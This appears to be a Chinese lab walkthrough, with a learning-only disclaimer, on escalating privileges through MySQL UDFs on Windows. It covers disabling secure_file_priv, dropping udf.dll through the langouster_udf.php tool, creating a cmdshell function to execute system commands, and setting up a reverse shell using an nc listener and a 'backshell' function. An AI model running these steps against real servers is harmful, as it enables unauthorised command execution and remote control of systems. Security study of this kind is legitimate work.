漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令。在一般的情况下,也就放弃了。但其实可以换一种思路,通过mysql查询来直接提权,可以针对以下场景:
(1)通过网站无法获取webshell
(2)Webshell无法执行命令
(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径
影响版本
MySQL
FOFA语句
1 | 无 |
环境搭建
- win 7
- phpstudy2016
- 关闭安全文件特权;
Mysql数据库从文件导入或导出到文件,提示:
1 | The MySQL server is running with the --secure-file-priv option so it cannot execute this statement |
原因及解决方法如下:
查看配置,执行mysql命令;
1 | SHOW VARIABLES LIKE "secure_file_priv"; |
如果value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行),如果为空,则不限制目录;
修改mysql配置文件my.ini
;
1 | # 手动添加一行; |
修改完配置文件后,重启mysql即可生效;
漏洞复现
将langouster_udf.php上传至靶机C:\phpStudy\WWW目录下;
浏览器访问:http://靶机IP/langouster_udf.php
填入对应的默认账户和密码;
1 | host:靶机IP |
进入后将会是如下页面;
在导出目录中输入执行;
1 | C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll |
在SQL命令中执行;
1 | CREATE FUNCTION cmdshell RETURNS STRING SONAME 'udf.dll'; |
操作如下图所示:
命令执行;
1 | select cmdshell('whoami'); |
反弹shell;
攻击机中执行;
1 | nc -lvvp 2333 |
在浏览器表单中执行;
1 | CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; |
攻击机中将会返回shell;